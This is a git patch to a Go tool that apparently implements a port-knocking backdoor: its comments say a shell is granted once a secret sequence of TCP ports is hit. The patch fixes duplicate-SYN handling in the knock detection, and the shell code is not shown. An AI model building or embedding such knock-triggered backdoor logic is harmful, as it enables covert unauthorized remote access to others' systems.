From 4c5b302292d2e6decc49cfda6730e09fd7a30a4e Mon Sep 17 00:00:00 2001 From: d3adzo Date: Sat, 15 Jan 2022 15:16:19 -0500 Subject: [PATCH] fixed 2x TCP issue --- main.go | 8 +++++++- spec/spec_windows_amd64.go | 1 + 2 files changed, 8 insertions(+), 1 deletion(-) diff --git a/main.go b/main.go index d3ec841..c4fa255 100644 --- a/main.go +++ b/main.go @@ -29,6 +29,7 @@ type targetInfo struct { // when secretCounter == len(secretPorts), // port knocking is complete and shell is given secretCounter int + lastPort layers.TCPPort } const ( @@ -112,8 +113,13 @@ func printPacketInfo(packet gopacket.Packet, tInfo *targetInfo) { if tcp.SYN { // fmt.Printf("From port %d to %d\n", tcp.SrcPort, tcp.DstPort) // Check dst port for secret port - if tcp.DstPort == layers.TCPPort(tInfo.secretPorts[tInfo.secretCounter]) { + tInfo.lastPort = tcp.DstPort + + if tcp.DstPort == layers.TCPPort(tInfo.secretPorts[tInfo.secretCounter]) { tInfo.secretCounter++ + tInfo.lastPort = tcp.DstPort + } else if tInfo.lastPort == layers.TCPPort(tInfo.secretPorts[tInfo.secretCounter]) { // fixed TCP 2x duplication issue + fmt.Println("duplicate tcp") // pass } else { // reset counter tInfo.secretCounter = 0 diff --git a/spec/spec_windows_amd64.go b/spec/spec_windows_amd64.go index 7c86827..7885d90 100644 --- a/spec/spec_windows_amd64.go +++ b/spec/spec_windows_amd64.go @@ -4,6 +4,7 @@ import ( "bufio" "log" "net" + "os" "os/exec" "strings" "syscall"